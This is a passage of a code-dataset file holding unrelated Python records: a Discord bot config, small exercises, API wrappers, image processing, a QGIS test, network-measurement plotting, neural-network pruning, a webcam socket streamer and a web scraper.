\"immortal god\": 719798012938944572,\n}\n\n# The bot manager and staff roles\n# Bot manager can run eval, exit and other destructive commands\n# Staff can run administrative commands\nbot_manager_role_id = 721074861203783801 # Bot management role in SecureChat (Owner)\nstaff_role_ids = [\n    718564387362701352,  # Co-owner role in SecureChat\n    721074861203783801,  # Bot management role in SecureChat\n    360138163156549632,  # Admin role in SecureChat\n]\n\n# Various log channels used to log bot and guild's activity\n# You can use same channel for multiple log types\n# Spylog channel logs suspicious messages or messages by members under watch\n# Invites created with .invite will direct to the welcome channel.\nlog_channel = 721077211075182623  # server-logs in ReSwitched\nbotlog_channel = 721077032909275137  # bot-logs channel in ReSwitched\nmodlog_channel = 721077128988196954  # mod-logs channel in ReSwitched\nspylog_channel = 721076594440929392  # spy channel in ReSwitched\nwelcome_channel = 718742612688896021  # welcome channel in ReSwitched\ngeneral_channels = []\ncommunity_channels = []\n# Controls which roles are blocked during lockdown\n# Mute role is applied to users when they're muted\n# As we no longer have mute role on ReSwitched, I set it to 0 here\nmute_role = 718587078455197696  # Mute role in ReSwitched\n\n# Channels that will be cleaned every minute/hour.\n# This feature isn't very good rn.\n# See https://github.com/reswitched/robocop-ng/issues/23\nminutely_clean_channels = []\nhourly_clean_channels = []\n\n# Edited and deletes messages in these channels will be logged\nspy_channels = general_channels\n\n# All lower case, no spaces, nothing non-alphanumeric\nsuspect_words = [\n    \"marijuana\" # Illegal\n    \"porn\" # NSFW\n    \"pornography\" # NSFW\n    \"child porn\" # NSFW\n    \"child pornography\" # NSFW\n]\n\n# List of words that will be ignored if they match one of the\n# suspect_words (This is used to remove false positives)\nsuspect_ignored_words = [\n]\n\n# == For cogs.links ==\nlinks_guide_text = \"\"\"**Generic starter guides:**\nNintendo Homebrew's Guide: \n\n**Specific guides:**\nManually Updating/Downgrading (with HOS): \nManually Repairing/Downgrading (without HOS): \nHow to set up a Homebrew development environment: \nGetting full RAM in homebrew without NSPs: As of Atmosphere 0.8.6, hold R while opening any game.\nCheck if a switch is vulnerable to RCM through serial: \n\"\"\"\n\n# == For cogs.verification ==\n# ReSwitched verification system is rather unique.\n# You might want to reimplement it.\n# If you do, use a different name for easier upstream merge.\n\n# https://docs.python.org/3.7/library/hashlib.html#shake-variable-length-digests\n_welcome_blacklisted_hashes = {\"shake_128\", \"shake_256\"}\n\n# List of hashes that are to be used during verification\nwelcome_hashes = tuple(hashlib.algorithms_guaranteed - _welcome_blacklisted_hashes)\n\n# Header before rules in #newcomers - https://elixi.re/i/opviq90y.png\nwelcome_header = \"\"\"\n    Hi there. This server is protected by Robocop. Please either verify or DM an admin to consent please!\n    \"\"\"\n\n# Rules in #newcomers - https://elixi.re/i/dp3enq5i.png\nwelcome_rules = (\n    \"\"\"\n    As we all know, every server has rules and this one does too:\n    Ignorance of the rules does not justify breaking them\n    1) No being annoying in general. Breaking this may result in getting the Duck role. If you have the duck role, you are liable to extra punishment\n    2) Follow Discord ToS. Note that discussion of piracy is allowed however sharing of pirated content is not allowed whatsoever\n    3) No off topic conversation\n    4) Ask questions about the rules to a mod please\n    If you agree to the rules, type \"I consent\" in #consent and we will let you in\n    Remember to respect each others opinions\n    Also about rp: You may only do one rp per day. Once your character has died, it is dead forever. You may only kill 3 cats per day. No mass killings are allowed without the mods permission. You are liable to be muted for breaking these rules. All roleplays are continuous. You may be in only one rp at one time. Contact an admin/co-owner/owner (me) if you want to start a roleplay. \n    NOTE: By one rp, I mean you can only join one rp per day\n    The following things are considered NSFW and are not allowed\n    > Porn\n    > Gore (includes suicide, but not someone needing support, just photos of someone killing themself)\n    > Anything that's overly cursed like what makes you unable to sleep for a week\n    That's about it.\n    Everything else is cool. Just ignore the old NSFW rules\n    It is not allowed to advertise discord servers unless it is in #invite. Once again, please DM me if you want the role\n    NOTE: If you get 20 warnings over a period of 2 days, you will be muted\n    If you do not like someone, do not be rude about them\n    Homophobic/anti-LGBTQ+/other sorts of comments is not allowed here whatsoever\n    Please be polite to other people and don't use a lot of slurs\n    No drama whatsoever. Keep that to private groups and DM's. Failing to follow this will result in a warn, mute, kick or even a permanent ban\n    NSFW is NOT permitted\n    \"\"\"\n)\n\n\n# Footer after rules in #newcomers - https://elixi.re/i/uhfiecib.png\nwelcome_footer = (\n    \"\"\"\n    **Note: This channel is completely automated (aside from responding to questions about the rules). If your message didn't give you access to the other channels, you failed the test. Feel free to try again or DM an admin/staff**\n    \"\"\",\n)\n\n# Line to be hidden in rules\nhidden_term_line = ' • When you have finished reading all of the rules, send a message in this channel that includes the {0} hex digest of your discord \"name#discriminator\", and bot will automatically grant you access to the other channels. You can find your \"name#discriminator\" (your username followed by a ‘#’ and four numbers) under the discord channel list. Look up hex digest online for more info or ask a mod to verify you!'\n\n# == Only if you want to use cogs.pin ==\n# Used for the pinboard. Leave empty if you don't wish for a gist pinboard.\ngithub_oauth_token = \"\"\n\n# Channels and roles where users can pin messages\nallowed_pin_channels = []\nallowed_pin_roles = []\n\n# Channel to upload text files while editing list items. (They are cleaned up.)\nlist_files_channel = 0\n\n# == Only if you want to use cogs.lists ==\n# Channels that are lists that are controlled by the lists cog.\nlist_channels = []\n\n# == Only if you want to use cogs.sar ==\nself_assignable_roles = {\n}\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":8484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"136581780","text":"birthdays = {\"vijju\" : \"may 5\", \"sagar\": \"june 30\", \"dhruv\" : \"sept 14\", \"pradeep\" : \"jan 16\"}\n\nwhile True:\n    print(\"Enter a name to see their birthday (blank string to quit) :\")\n    name = input()\n\n    if name == '':\n        break\n    if name in birthdays:\n        print(name + \"'s birthday is on :\" + birthdays[name])\n    else:\n        print(\"The name not in the list\")\n        print(\"please enter the birth day : \")\n        bday = input()\n        birthdays[name] = bday\n        print(\"The birthdays db is updated\")\n\nprint(birthdays)\n\n#the updated data will last as soon as we quit the program.\n# We should learn to copy and access data into the files\n","sub_path":"ch_5/birthdays.py","file_name":"birthdays.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"432500418","text":"\nfrom mattermost import MatterMost\nfrom mattermost import logger\n\nclass Team(MatterMost):\n    def __init__(self, baseurl, team):\n        super(Team, self).__init__(baseurl)\n        self.url = self.base + '/teams'\n        self.team = team\n\n    def get_hooks_url(self):\n        return self.url + \"/\" + self.find_team_id_by_name(self.team) + '/hooks'\n\n    def get_incoming_hooks(self):\n        self.use_login_token()\n        req = self.get(self.get_hooks_url() + '/incoming/list')\n        logger.debug(req.json())\n        return req.json()\n\n    def list_teams(self):\n        self.use_login_token()\n        req = self.get(self.url + \"/all\")\n        json_str = req.json()\n        for s in json_str.keys():\n            logger.debug(\"Name:\" + json_str[s]['name'])\n            logger.debug(\"ID: \" + json_str[s]['id'])\n        return json_str\n\n    def find_team_id_by_name(self, name):\n        teams = self.list_teams()\n        for key, val in teams.items():\n            if val['name'] == name or val['display_name'] == name:\n                return val['id']\n        raise ValueError(name)\n","sub_path":"src/mattermost/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"346189541","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\n\nfrom . import views\n\napp_name = \"posts\"\n\nrouter = DefaultRouter()\nrouter.register(r\"(?P.+)/comments\", views.PostCommentViewSet, basename=\"post-comment\")\n# router.register(\"m/\", views.UserViewSet)\n\nurlpatterns = [\n    path(\"\", views.PostCreateView.as_view()),\n    path(\"\", views.PostView.as_view(), name=\"post-detail\"),\n    path(\"feed\", views.FeedView.as_view()),\n    # path(\"/comments\", views.PostCommentView.as_view(), name=\"post-comment\"),\n    path(\"/likes\", views.PostLikeView.as_view(), name=\"post-like\"),\n    path(\"\", include(router.urls)),\n]\n","sub_path":"src/post/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"622768872","text":"import cv2\nimg=cv2.imread(\"number_plate.jpg\")\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\ngrayshow=cv2.imshow(\"GrayImage\", gray)\ncv2.waitKey(0)\n\ncv2.imwrite(\"gray_image.png\", gray)\ngaussian_blur=cv2.GaussianBlur(gray,(7,7),20)\ncv2.imshow(\"GAUSSIAN BLUR\",gaussian_blur)\ncv2.waitKey(0)\n\nvalue,otsu_thres=cv2.threshold (gaussian_blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\nprint(\"The Threshold value = {}\".format(value))\ncv2.imshow(\"OTSU THRESHOLD\",otsu_thres)\ncv2.waitKey(0)\ncv2.imwrite(\"otsu_number_plate_with gaussian.jpg\",otsu_thres)\n","sub_path":"number_plate_otsu_thresholding/otsu_thres.py","file_name":"otsu_thres.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"85860987","text":"from qgis.core import (QgsVectorLayer, QgsWkbTypes)\n\nfrom los_tools.processing.analyse_los.tool_extract_los_visibility_parts import ExtractLoSVisibilityPartsAlgorithm\nfrom los_tools.constants.field_names import FieldNames\n\nfrom tests.AlgorithmTestCase import QgsProcessingAlgorithmTestCase\n\nfrom tests.utils_tests import (get_data_path, get_data_path_results)\n\n\nclass ExtractPointsLoSAlgorithmTest(QgsProcessingAlgorithmTestCase):\n\n    def setUp(self) -> None:\n\n        super().setUp()\n\n        self.los_global = QgsVectorLayer(get_data_path(file=\"los_global.gpkg\"))\n\n        self.los_local = QgsVectorLayer(get_data_path(file=\"los_local.gpkg\"))\n\n        self.los_no_target = QgsVectorLayer(get_data_path(file=\"no_target_los.gpkg\"))\n\n        self.alg = ExtractLoSVisibilityPartsAlgorithm()\n        self.alg.initAlgorithm()\n\n    def test_parameters(self) -> None:\n\n        self.assertQgsProcessingParameter(self.alg.parameterDefinition(\"LoSLayer\"),\n                                          parameter_type=\"source\")\n        self.assertQgsProcessingParameter(self.alg.parameterDefinition(\"OutputLayer\"),\n                                          parameter_type=\"sink\")\n        self.assertQgsProcessingParameter(self.alg.parameterDefinition(\"CurvatureCorrections\"),\n                                          parameter_type=\"boolean\",\n                                          default_value=True)\n        self.assertQgsProcessingParameter(self.alg.parameterDefinition(\"RefractionCoefficient\"),\n                                          parameter_type=\"number\",\n                                          default_value=0.13)\n\n    def test_alg_settings(self) -> None:\n\n        self.assertAlgSettings()\n\n    def test_check_wrong_params(self) -> None:\n\n        # use layer that is not correctly constructed LoS layer\n        params = {\"LoSLayer\": QgsVectorLayer(get_data_path(file=\"no_target_los_wrong.gpkg\"))}\n\n        self.assertCheckParameterValuesRaisesMessage(\n            parameters=params,\n            message=\"Fields specific for LoS not found in current layer (los_type).\")\n\n    def test_run_alg(self) -> None:\n\n        output_path = get_data_path_results(file=\"los_parts.gpkg\")\n\n        params = {\n            \"LoSLayer\": self.los_local,\n            \"OutputLayer\": output_path,\n            \"CurvatureCorrections\": True,\n            \"RefractionCoefficient\": 0.13\n        }\n\n        self.assertRunAlgorithm(parameters=params)\n\n        los_parts = QgsVectorLayer(output_path)\n\n        self.assertQgsVectorLayer(los_parts,\n                                  geom_type=QgsWkbTypes.MultiLineStringZ,\n                                  crs=self.los_local.sourceCrs())\n\n        self.assertFieldNamesInQgsVectorLayer(\n            [FieldNames.ID_OBSERVER, FieldNames.ID_TARGET, FieldNames.VISIBLE], los_parts)\n\n        self.assertEqual(los_parts.featureCount(), self.los_local.featureCount() * 2)\n\n        output_path = get_data_path_results(file=\"los_parts.gpkg\")\n\n        params = {\n            \"LoSLayer\": self.los_global,\n            \"OutputLayer\": output_path,\n            \"CurvatureCorrections\": True,\n            \"RefractionCoefficient\": 0.13\n        }\n\n        self.assertRunAlgorithm(parameters=params)\n\n        los_parts = QgsVectorLayer(output_path)\n\n        self.assertQgsVectorLayer(los_parts,\n                                  geom_type=QgsWkbTypes.MultiLineStringZ,\n                                  crs=self.los_local.sourceCrs())\n\n        self.assertFieldNamesInQgsVectorLayer(\n            [FieldNames.ID_OBSERVER, FieldNames.ID_TARGET, FieldNames.VISIBLE], los_parts)\n\n        self.assertEqual(los_parts.featureCount(), self.los_global.featureCount() * 2)\n\n        output_path = get_data_path_results(file=\"los_parts.gpkg\")\n\n        params = {\n            \"LoSLayer\": self.los_no_target,\n            \"OutputLayer\": output_path,\n            \"CurvatureCorrections\": True,\n            \"RefractionCoefficient\": 0.13\n        }\n\n        self.assertRunAlgorithm(parameters=params)\n\n        los_parts = QgsVectorLayer(output_path)\n\n        self.assertQgsVectorLayer(los_parts,\n                                  geom_type=QgsWkbTypes.MultiLineStringZ,\n                                  crs=self.los_local.sourceCrs())\n\n        self.assertFieldNamesInQgsVectorLayer(\n            [FieldNames.ID_OBSERVER, FieldNames.ID_TARGET, FieldNames.VISIBLE], los_parts)\n\n        self.assertEqual(los_parts.featureCount(), self.los_no_target.featureCount() * 2)\n","sub_path":"tests/processing/analyse_los/test_tool_extract_los_visibility_parts.py","file_name":"test_tool_extract_los_visibility_parts.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"295157292","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Computes stacked bar charts from the .fingerprint files collected during campaigns. The goal is \n# to evaluate the correlation that exists between some properties of the fingerprints. The script \n# uses three input parameters: a year, a date (both being used to select a dataset) and the path \n# to a text file listing the ASes that should be considered at this date.\n#\n# This script shows the proportions of fingerprints that have the following characteristics:\n# 64 & \"Healthy\" IP-ID counter, 255 and \"Echo\" counter. Last category is for everything else.\n\nimport numpy as np\nimport os\nimport sys\nfrom matplotlib import pyplot as plt\n\nif __name__ == \"__main__\":\n\n    if len(sys.argv) < 4:\n        print(\"Use this command: python FingerprintsAnalysisCorrelation.py [year] [date] [path to AS file]\")\n        sys.exit()\n    \n    yearOfMeasurements = str(sys.argv[1])\n    dateOfMeasurements = str(sys.argv[2])\n    ASFilePath = str(sys.argv[3])\n    \n    # Parses AS file\n    if not os.path.isfile(ASFilePath):\n        print(\"AS file does not exist\")\n        sys.exit()\n\n    with open(ASFilePath) as f:\n        ASesRaw = f.read().splitlines()\n        \n    # For this particular file, we do not class by type. We remove the :[type] part.\n    ASes = []\n    for i in range(0, len(ASesRaw)):\n        splitted = ASesRaw[i].split(':')\n        ASes.append(splitted[0])\n\n    # Computes the required data\n    correctlyParsedASes = []\n    ratioHealthy64Or128 = []\n    ratioEcho255 = []\n    ratioOthers = []\n    \n    dataPath = \"/home/jefgrailet/PhD/Campaigns\"\n    for i in range(0, len(ASes)):\n        dataFilePath = dataPath + \"/\" + ASes[i] + \"/\" + yearOfMeasurements + \"/\"\n        dataFilePath += dateOfMeasurements + \"/\" + ASes[i] + \"_\" + dateOfMeasurements\n        dataFilePath += \".fingerprint\"\n        \n        # Checks existence of the file\n        if not os.path.isfile(dataFilePath):\n            print(dataFilePath + \" does not exist\")\n            sys.exit()\n        else:\n            correctlyParsedASes.append(ASes[i])\n        \n        # Parses it and analyzes fingerprints\n        with open(dataFilePath) as f:\n            fingerprints = f.read().splitlines()\n        \n        nbFingerprints = len(fingerprints)\n        integerData = np.zeros((3, 1))\n        for j in range(0, nbFingerprints):\n            firstSplit = fingerprints[j].split(' - ')\n            curFingerprint = firstSplit[1][1:-1]\n            splitted = curFingerprint.split(',')\n            \n            # Counter type\n            if splitted[2] == \"Healthy\" and (splitted[0] == \"64\" or splitted[0] == \"128\"):\n                integerData[0] += 1\n            elif splitted[2] == \"Echo\" and splitted[0] == \"255\":\n                integerData[1] += 1\n            else:\n                integerData[2] += 1\n        \n        # Computes ratios\n        ratioHealthy64Or128.append((float(integerData[0]) / float(nbFingerprints)) * 100)\n        ratioEcho255.append((float(integerData[1]) / float(nbFingerprints)) * 100)\n        ratioOthers.append((float(integerData[2]) / float(nbFingerprints)) * 100)\n\n    ind = np.arange(len(correctlyParsedASes)) # The x locations\n    width = 0.8\n    center = 0.5\n    padding = 0.1\n    \n    # Font for labels and ticks\n    hfont = {'fontname':'serif',\n             'fontweight':'bold',\n             'fontsize':21}\n    \n    hfont2 = {'fontname':'serif',\n             'fontsize':21}\n    \n    bottom1 = ratioHealthy64Or128\n    bottom2 = np.zeros((len(correctlyParsedASes), 1))\n    for i in range(0, len(correctlyParsedASes)):\n        bottom2[i] = bottom1[i] + ratioEcho255[i]\n\n    plt.figure(figsize=(11,7))\n\n    p1 = plt.bar(ind + padding, ratioHealthy64Or128, width, color='#F0F0F0')\n    p2 = plt.bar(ind + padding, ratioEcho255, width, color='#D0D0D0', bottom=bottom1)\n    p3 = plt.bar(ind + padding, ratioOthers, width, color='#888888', bottom=bottom2)\n    \n    plt.ylabel('Proportion (%)', **hfont)\n    plt.xlabel('AS index', **hfont)\n    plt.ylim([0,100])\n    plt.xlim([0,len(ASes)])\n    plt.xticks(ind + center, range(1,21,1), **hfont2)\n    plt.yticks(np.arange(0, 101, 10), **hfont2)\n    \n    plt.rc('font', family='serif', size=15)\n    plt.legend((p1[0], p2[0], p3[0]), \n               ('64/128, Healthy', '255, Echo', 'Others'), \n               bbox_to_anchor=(0.05, 1.02, 0.90, .102), \n               loc=3,\n               ncol=3, \n               mode=\"expand\", \n               borderaxespad=0.)\n\n    plt.savefig(\"Correlation_\" + yearOfMeasurements + \"_\" + dateOfMeasurements + \".pdf\")\n    plt.clf()\n","sub_path":"v3/Measurements/Fingerprints/Scripts_2017/FingerprintsAnalysisCorrelation.py","file_name":"FingerprintsAnalysisCorrelation.py","file_ext":"py","file_size_in_byte":4547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"261560823","text":"from configs import StudentPacmanConfig as student_config\nfrom configs import DensePacmanAgentConfig as dense_config\nfrom configs import PrunePacmanAgentConfig as prune_config\nfrom model import PacmanTargetNet, StudentPacman\nfrom utils.plot_utils import plot_graph\nfrom utils.logger_utils import get_logger\nfrom Pacman.evaluate import evaluate\nfrom train import fit_supervised\nfrom prune import iterative_pruning_policy_distilliation\nfrom argparse import ArgumentParser\nfrom Pacman.copy_weights import copy_weights\nfrom utils.tensorflow_utils import calculate_redundancy\nfrom collections import deque\nfrom Pacman.accumulate_experience_Pacman import accumulate_experience\n\n\n\nFLAGS = 0\n\n\ndef check_convergence(info):\n    diff_temp = []\n    for i in range(len(info) - 1):\n        diff_temp.append(info[i] - info[i+1])\n    mean_diff = sum(diff_temp) / len(diff_temp)\n    if mean_diff < 0.5:  # a change of less then 1.0 percent in size counts as a converged model\n        return True\n    else:\n        return False\n\n\ndef main():\n    logger = get_logger(FLAGS.PoPS_dir + \"/PoPS_ITERATIVE\")\n    logger.info(\" ------------- START: -------------\")\n    logger.info(\"Setting initial data structures\")\n    accuracy_vs_size = [[], []]\n    logger.info(\"Loading models\")\n    teacher = PacmanTargetNet(input_size=dense_config.input_size, output_size=dense_config.output_size)\n    teacher.load_model(path=FLAGS.teacher_path)  # load teacher\n    logger.info(\"----- evaluating teacher -----\")\n    print(\"----- evaluating teacher -----\")\n    teacher_score = evaluate(agent=teacher, n_epoch=FLAGS.eval_epochs)\n    logger.info(\"----- teacher evaluated with {} ------\".format(teacher_score))\n    print(\"----- teacher evaluated with {} -----\".format(teacher_score))\n    prune_step_path = FLAGS.PoPS_dir + \"/prune_step_\"\n    policy_step_path = FLAGS.PoPS_dir + \"/policy_step_\"\n    initial_path = policy_step_path + \"0\"\n    copy_weights(output_path=initial_path, teacher_path=FLAGS.teacher_path)  # inorder to create the initial model\n    compressed_agent = StudentPacman(input_size=student_config.input_size,\n                                   output_size=student_config.output_size,\n                                   model_path=initial_path,\n                                   tau=student_config.tau, prune_till_death=True,\n                                   pruning_freq=prune_config.pruning_freq,\n                                   sparsity_end=prune_config.sparsity_end,\n                                   target_sparsity=prune_config.target_sparsity)\n    compressed_agent.load_model()\n    initial_size = compressed_agent.get_number_of_nnz_params()\n    accuracy_vs_size[0].append(initial_size)\n    accuracy_vs_size[1].append(teacher_score)\n    initial_number_of_params_at_each_layer = compressed_agent.get_number_of_nnz_params_per_layer()\n    initial_number_of_nnz = sum(initial_number_of_params_at_each_layer)\n    converge = False\n    iteration = 0\n    convergence_information = deque(maxlen=2)\n    convergence_information.append(100)\n    precent = 100\n    arch_type = 0\n    last_measure = initial_size\n    while not converge:\n        iteration += 1\n        print(\"-----  Pruning Step {} -----\".format(iteration))\n        logger.info(\" -----  Pruning Step {} -----\".format(iteration))\n        path_to_save_pruned_model = prune_step_path + str(iteration)\n        sparsity_vs_accuracy = iterative_pruning_policy_distilliation(logger=logger, agent=compressed_agent,\n                                                                          target_agent=teacher,\n                                                                          iterations=FLAGS.iterations,\n                                                                          config=student_config,\n                                                                          best_path=path_to_save_pruned_model,\n                                                                          arch_type=arch_type,\n                                                                          objective_score=dense_config.OBJECTIVE_SCORE,\n                                                                          lower_bound=dense_config.LOWER_BOUND,\n                                                                          evaluate_fn=evaluate,\n                                                                          accumulate_experience_fn=accumulate_experience)\n        plot_graph(data=sparsity_vs_accuracy, name=FLAGS.PoPS_dir + \"/initial size {}%,  Pruning_step number {}\"\n                   .format(precent, iteration), figure_num=iteration)\n\n        # loading model which has reasonable score with the highest sparsity\n        compressed_agent.load_model(path_to_save_pruned_model)\n        # the amount of parameters that are not zero at each layer\n        nnz_params_at_each_layer = compressed_agent.get_number_of_nnz_params_per_layer()\n        # the amount of parameters that are not zero\n        nnz_params = sum(nnz_params_at_each_layer)\n        # redundancy is the parameters we dont need, nnz_params / initial is the params we need the opposite\n        redundancy = (1 - nnz_params / initial_number_of_nnz) * 100\n        print(\"-----  Pruning Step {} finished, got {}% redundancy in net params -----\"\n              .format(iteration, redundancy))\n        logger.info(\"-----  Pruning Step {} finished , got {}% redundancy in net params -----\"\n                    .format(iteration, redundancy))\n        logger.info(\"-----  Pruning Step {} finished with {} NNZ params at each layer\"\n                    .format(iteration, nnz_params_at_each_layer))\n        print(\" -----  Evaluating redundancy at each layer Step {}-----\".format(iteration))\n        logger.info(\" -----  Evaluating redundancy at each layer Step {} -----\".format(iteration))\n        redundancy_at_each_layer = calculate_redundancy(initial_nnz_params=initial_number_of_params_at_each_layer,\n                                                        next_nnz_params=nnz_params_at_each_layer)\n        logger.info(\"----- redundancy for each layer at step {} is {} -----\".format(iteration, redundancy_at_each_layer))\n\n        print(\" -----  Creating Model with size according to the redundancy at each layer ----- \")\n        logger.info(\"----- Creating Model with size according to the redundancy at each layer -----\")\n        policy_distilled_path = policy_step_path + str(iteration)\n        # creating the compact model where every layer size is determined by the redundancy measure\n        compressed_agent = StudentPacman(input_size=student_config.input_size,\n                                       output_size=student_config.output_size,\n                                       model_path=policy_distilled_path,\n                                       tau=student_config.tau,\n                                       redundancy=redundancy_at_each_layer,\n                                       pruning_freq=prune_config.pruning_freq,\n                                       sparsity_end=prune_config.sparsity_end,\n                                       target_sparsity=prune_config.target_sparsity,\n                                       prune_till_death=True,\n                                       last_measure=last_measure)\n        nnz_params_at_each_layer = compressed_agent.get_number_of_nnz_params_per_layer()\n        logger.info(\"-----  Step {} ,Created Model with {} NNZ params at each layer\"\n                    .format(iteration, nnz_params_at_each_layer))\n        iterative_size = compressed_agent.get_number_of_nnz_params()\n        precent = (iterative_size / initial_size) * 100\n        convergence_information.append(precent)\n        print(\" ----- Step {}, Created Model with size {} which is {}% from original size ----- \"\n              .format(iteration, iterative_size, precent))\n        logger.info(\"----- Created Model with size {} which is {}% from original size -----\"\n                    .format(iterative_size, precent))\n        if precent > 10:\n            arch_type = 0\n        else:\n            arch_type = 1\n        print(\" -----  policy distilling Step {} ----- \".format(iteration))\n        logger.info(\"----- policy distilling Step {} -----\".format(iteration))\n        fit_supervised(logger=logger, arch_type=arch_type, student=compressed_agent, teacher=teacher,\n                       n_epochs=FLAGS.n_epoch, config=student_config, objective_score=dense_config.OBJECTIVE_SCORE,\n                       lower_score_bound=dense_config.LOWER_BOUND,\n                       evaluate_fn=evaluate, accumulate_experience_fn=accumulate_experience)\n        compressed_agent.load_model(path=policy_distilled_path)\n        policy_distilled_score = evaluate(agent=compressed_agent, n_epoch=FLAGS.eval_epochs)\n        compressed_agent.reset_global_step()\n        print(\" -----  policy distilling Step {} finished  with score {} ----- \"\n              .format(iteration, policy_distilled_score))\n        logger.info(\"----- policy distilling Step {} finished with score {}  -----\"\n                    .format(iteration, policy_distilled_score))\n        converge = check_convergence(convergence_information)\n\n        accuracy_vs_size[0].append(iterative_size)\n        accuracy_vs_size[1].append(policy_distilled_score)\n\n    plot_graph(data=accuracy_vs_size, name=FLAGS.PoPS_dir + \"/accuracy_vs_size\", figure_num=iteration + 1, xaxis='NNZ params', yaxis='Accuracy')\n\n\nif __name__ == '__main__':\n    parser = ArgumentParser()\n    parser.add_argument(\n        '--teacher_path',\n        type=str,\n        default=dense_config.ready_path,\n        help=' path where to load initial model.')\n    parser.add_argument(\n        '--PoPS_dir',\n        type=str,\n        default=student_config.iterative_PoPS,\n        help='Results Directory.')\n    parser.add_argument(\n        '--n_epoch',\n        type=int,\n        default=student_config.n_epochs,\n        help='number of epoches to do policy distillation')\n    parser.add_argument(\n        '--iterations',\n        type=int,\n        default=student_config.n_epochs,\n        help='number of iteration to do pruning')\n    parser.add_argument(\n        '--batch_size',\n        type=int,\n        default=dense_config.batch_size,\n        help='number of epoches')\n    parser.add_argument(\n        '--eval_epochs',\n        type=int,\n        default=1,\n        help='number of epoches to evaluate the models during the process')\n    FLAGS, unparsed = parser.parse_known_args()\n    main()","sub_path":"Pacman/PoPS_iterative_Pacman.py","file_name":"PoPS_iterative_Pacman.py","file_ext":"py","file_size_in_byte":10429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"74441511","text":"import socket\nimport cv2\nimport numpy as np\nimport pickle\nimport time\n\ncap = cv2.VideoCapture(0)\ncap.set(3, 200)\ncap.set(4, 150)\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('', 8000))\ns.listen(3)\nclt, adr = s.accept()\n\ntime.sleep(5)\nwhile (True):\n    ret, frame = cap.read()\n    clt.send(pickle.dumps(\"b1\"))\n    frame = cv2.imencode('.jpg', frame)\n    frame = pickle.dumps(frame)\n    clt.sendall(frame)\n\nclt.close()\ncap.release()\n","sub_path":"sockets/servercompress.py","file_name":"servercompress.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"182299050","text":"#!/usr/bin/env python3\nfrom bs4 import BeautifulSoup\nimport requests,sys,csv,json\n\nurl=\"http://ufm.edu/Estudios\"\n\n# Make a GET request to fetch the raw HTML content\ntry:\n    html_content = requests.get(url).text\nexcept:\n    print(f\"unable to get {url}\")\n    sys.exit(1)\n\n# Parse the html content, this is the Magic ;)\nsoup = BeautifulSoup(html_content, \"html.parser\")\n\n# print if needed, gets too noisy\n#print(soup.prettify())\n\ndef separator_items():\n    print (\"-----------------------------------------------------------------------------------------------------------------------------\")\n    \ndef separator_parts():\n    print (\"=============================================================================================================================\")\n     \n \ndef estudios():\n    separator_parts()  \n    print(\"2. Estudios\")\n    ##ITEMS\n    separator_items()\n    print(\"display all items from 'topmenu':\")\n    topmenu=soup.find_all(\"div\",{\"id\": f\"topmenu\"})     \n    for items in topmenu:\n        for menuitems in items.find_all(\"li\"):\n            topmenuitems=menuitems.string\n            if topmenuitems is not None:\n                topmenuitems=str(topmenuitems).strip()\n                print(f\"- {topmenuitems}\")\n                    \n    ##ESTUDIOS\n    separator_items()\n    print(\"display ALL 'Estudios':\")\n    estudios=soup.find_all(\"div\",{\"class\": \"estudios\"})\n    for items in estudios:\n        estudiositems=items.string\n        if estudiositems is not None:\n            estudiositems=str(estudiositems).strip()\n            print(f\"- {estudiositems}\")\n    \n    ##LEFTBAR\n    separator_items()\n    print(\"display from 'leftbar' all 
  • items:\")\n leftbar=soup.find_all(\"div\",{\"class\": f\"leftbar\"})\n for items in leftbar:\n for baritems in items.find_all(\"li\"):\n leftbaritems=baritems.string\n if leftbaritems is not None:\n leftbaritems=str(leftbaritems).strip()\n print(f\"- {leftbaritems}\")\n \n ##SOCIAL MEDIA\n separator_items()\n print(\"get and display all available social media with its links:\")\n socialmedia=soup.find('div',{\"class\": f\"social pull-right\"}).find_all(\"a\")\n for links in socialmedia:\n print(f\"- {links['href']}\")\n \n ##\n separator_items()\n count=0\n for a in soup.find_all(\"a\"):\n count=count+1\n print(\"count all : \"+str(count))\n \n separator_parts() \n \nestudios()","sub_path":"estudios.py","file_name":"estudios.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"593672824","text":"\"\"\"\n\n9. Dado un párrafo ingresado por teclado, imprima los 3 verbos más usados en él (en infinitivo,\ndel más común al menos común), junto con la cantidad de apariciones de cada uno utilizando\nCounter.\nAclaración: No importa el orden de los verbos cuando tienen igual cantidad de repeticiones.\nUtilice el módulo pattern.es.\nEjemplo:\nEste es un párrafo de prueba. El verbo ser, será el mas utilizado. El otro será\ncrear, por eso se creó la oración de esta manera. Por último, se creará esta\noración que posee el tercer verbo: poseer. Nada más que decir.\nser 4\ncrear 3\nposeer 2\n\n\"\"\"\nimport pattern.es\nfrom pattern.es import conjugate, INFINITIVE, verbs\nfrom collections import Counter\n\nparrafo = input(\"Ingrese un parrafo: \")\npalabras = 